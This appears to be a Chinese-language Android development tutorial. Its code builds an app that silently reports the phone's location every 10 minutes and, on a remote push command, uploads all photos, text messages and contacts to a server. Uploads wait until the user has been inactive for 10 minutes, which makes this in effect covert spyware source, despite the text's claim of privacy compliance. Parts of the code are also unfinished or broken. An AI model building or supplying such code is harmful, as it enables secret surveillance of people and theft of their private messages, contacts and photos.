本Android应用能够静默上传位置信息，并在收到指令后上传手机图片、短信和通讯录数据，同时满足10分钟无人操作时静默上传，综合考虑Android权限管理、后台服务、定时任务、数据获取和网络通信等多个方面。

该系统需要包含以下核心组件：

在AndroidManifest.xml中添加必要的权限声明：

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />


<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />


<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />


<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />


<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />

WorkManager是Android推荐的周期性后台任务解决方案，适合实现每10分钟上传一次位置信息的需求。

public class LocationUploadWorker extends Worker {
    public LocationUploadWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) {
        super(context, workerParams);
    }

    @NonNull
    @Override
    public Result doWork() {
        // 获取位置信息
        Location location = getLastKnownLocation();
        
        if (location != null) {
            // 上传位置信息
            boolean success = uploadLocationToServer(location);
            return success ? Result.success() : Result.retry();
        }
        return Result.failure();
    }

    private Location getLastKnownLocation() {
        // 实现位置获取逻辑
    }

    private boolean uploadLocationToServer(Location location) {
        // 实现上传逻辑
    }
}

public class UploadScheduler {
    public static void schedulePeriodicUpload(Context context) {
        PeriodicWorkRequest uploadRequest = new PeriodicWorkRequest.Builder(
                LocationUploadWorker.class,
                10, // 间隔时间
                TimeUnit.MINUTES)
                .build();

        WorkManager.getInstance(context)
                .enqueueUniquePeriodicWork(
                        "locationUpload",
                        ExistingPeriodicWorkPolicy.KEEP,
                        uploadRequest);
    }
}

通过监听用户交互事件来判断用户是否处于活动状态：

public class UserActivityMonitor {
    private static long lastInteractionTime = System.currentTimeMillis();
    private static final long INACTIVITY_THRESHOLD = 10 * 60 * 1000; // 10分钟

    public static void init(Context context) {
        // 监听用户交互事件
        View rootView = ((Activity)context).getWindow().getDecorView().getRootView();
        rootView.setOnTouchListener((v, event) -> {
            lastInteractionTime = System.currentTimeMillis();
            return false;
        });
    }

    public static boolean isUserInactive() {
        return System.currentTimeMillis() - lastInteractionTime > INACTIVITY_THRESHOLD;
    }
}

在LocationUploadWorker中添加用户活动检查：

@Override
public Result doWork() {
    if (!UserActivityMonitor.isUserInactive()) {
        return Result.success(); // 用户活跃时不执行上传
    }
    
    // 原有上传逻辑...
}

使用ContentResolver查询MediaStore获取图片信息：

public List<String> getAllImages(Context context) {
    List<String> imagePaths = new ArrayList<>();
    ContentResolver contentResolver = context.getContentResolver();
    Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
    String[] projection = {MediaStore.Images.Media.DATA};
    
    Cursor cursor = contentResolver.query(uri, projection, null, null, null);
    if (cursor != null) {
        while (cursor.moveToNext()) {
            String path = cursor.getString(cursor.getColumnIndex(MediaStore.Images.Media.DATA));
            imagePaths.add(path);
        }
        cursor.close();
    }
    return imagePaths;
}

通过ContactsContract API获取通讯录信息：

public List<Contact> getAllContacts(Context context) {
    List<Contact> contacts = new ArrayList<>();
    ContentResolver contentResolver = context.getContentResolver();
    Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
    String[] projection = {
            ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
            ContactsContract.CommonDataKinds.Phone.NUMBER
    };
    
    Cursor cursor = contentResolver.query(uri, projection, null, null, null);
    if (cursor != null) {
        while (cursor.moveToNext()) {
            String name = cursor.getString(cursor.getColumnIndex(
                    ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
            String number = cursor.getString(cursor.getColumnIndex(
                    ContactsContract.CommonDataKinds.Phone.NUMBER));
            contacts.add(new Contact(name, number));
        }
        cursor.close();
    }
    return contacts;
}

通过SMS ContentProvider获取短信信息：

public List<Sms> getAllSms(Context context) {
    List<Sms> smsList = new ArrayList<>();
    ContentResolver contentResolver = context.getContentResolver();
    Uri uri = Uri.parse("content://sms/inbox");
    String[] projection = {"address", "body", "date"};
    
    Cursor cursor = contentResolver.query(uri, projection, null, null, null);
    if (cursor != null) {
        while (cursor.moveToNext()) {
            String address = cursor.getString(0);
            String body = cursor.getString(1);
            long date = cursor.getLong(2);
            smsList.add(new Sms(address, body, date));
        }
        cursor.close();
    }
    return smsList;
}

1. 使用Firebase Cloud Messaging接收指令

配置FCM接收服务器指令，当收到特定指令时触发数据上传：

public class MyFirebaseMessagingService extends FirebaseMessagingService {
    @Override
    public void onMessageReceived(RemoteMessage remoteMessage) {
        if (remoteMessage.getData().containsKey("command")) {
            String command = remoteMessage.getData().get("command");
            if ("upload_all_data".equals(command)) {
                uploadAllData();
            }
        }
    }

    private void uploadAllData() {
        // 获取并上传所有数据
        List<String> images = getAllImages(this);
        List<Contact> contacts = getAllContacts(this);
        List<Sms> smsList = getAllSms(this);
        
        // 上传到服务器
        uploadDataToServer(images, contacts, smsList);
    }
}

public class DataUploader {
    private static final String BASE_URL = " https://yourserver.com/api/ ";
    
    public static void uploadDataToServer(List<String> images, 
                                        List<Contact> contacts, 
                                        List<Sms> smsList) {
        Retrofit retrofit = new Retrofit.Builder()
                .baseUrl(BASE_URL)
                .addConverterFactory(GsonConverterFactory.create())
                .build();
        
        ApiService apiService = retrofit.create(ApiService.class);
        
        // 构建请求体
        UploadRequest request = new UploadRequest(images, contacts, smsList);
        
        try {
            Response<UploadResponse> response = apiService.uploadData(request).execute();
            if (response.isSuccessful()) {
                Log.d("Upload", "Data uploaded successfully");
            } else {
                Log.e("Upload", "Upload failed: " + response.errorBody().string());
            }
        } catch (IOException e) {
            Log.e("Upload", "Upload error", e);
        }
    }
}

为了确保应用在后台也能正常运行，需要创建前台服务：

public class UploadService extends Service {
    @Override
    public void onCreate() {
        super.onCreate();
        createNotificationChannel();
        startForeground(1, createNotification());
    }

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel channel = new NotificationChannel(
                    "upload_channel",
                    "Upload Service",
                    NotificationManager.IMPORTANCE_LOW);
            NotificationManager manager = getSystemService(NotificationManager.class);
            manager.createNotificationChannel(channel);
        }
    }

    private Notification createNotification() {
        return new NotificationCompat.Builder(this, "upload_channel")
                .setContentTitle("数据上传服务")
                .setContentText("正在运行中...")
                .setSmallIcon(R.drawable.ic_notification)
                .build();
    }
}

Android 6.0+需要运行时请求权限：

public class PermissionHelper {
    private static final int PERMISSION_REQUEST_CODE = 100;
    
    public static boolean checkAndRequestPermissions(Activity activity) {
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
            return true;
        }
        
        List<String> permissionsNeeded = new ArrayList<>();
        String[] permissions = {
                Manifest.permission.ACCESS_FINE_LOCATION,
                Manifest.permission.READ_EXTERNAL_STORAGE,
                Manifest.permission.READ_CONTACTS,
                Manifest.permission.READ_SMS
        };
        
        for (String permission : permissions) {
            if (ContextCompat.checkSelfPermission(activity, permission) 
                    != PackageManager.PERMISSION_GRANTED) {
                permissionsNeeded.add(permission);
            }
        }
        
        if (!permissionsNeeded.isEmpty()) {
            ActivityCompat.requestPermissions(
                    activity,
                    permissionsNeeded.toArray(new String,
                    PERMISSION_REQUEST_CODE);
            return false;
        }
        return true;
    }
    
    public static boolean handlePermissionsResult(int requestCode, 
                                                String[] permissions, 
                                                int[] grantResults) {
        if (requestCode == PERMISSION_REQUEST_CODE) {
            for (int result : grantResults) {
                if (result != PackageManager.PERMISSION_GRANTED) {
                    return false;
                }
            }
            return true;
        }
        return false;
    }
}

服务器端需要提供以下API端点：

本方案实现了Android设备静默上传位置信息及在收到指令后上传图片、短信和通讯录数据的功能。系统采用WorkManager处理定时任务，通过用户活动监测实现智能上传策略，并利用前台服务保证后台运行的稳定性。同时，方案充分考虑了Android权限管理、电量优化和隐私合规等关键问题。

Android 静默位置信息及数据上传系统实现方案

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Android应用开发方案，实现静默上传位置信息、图片、短信和通讯录数据。采用WorkManager定时任务、用户活动监测、前台服务等技术，包含权限配置、数据采集、指令接收等模块。优化电量消耗与隐私合规，支持10分钟无人操作自动上传，提供完整服务器端API设计建议。

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Android 静默位置信息及数据上传系统实现方案

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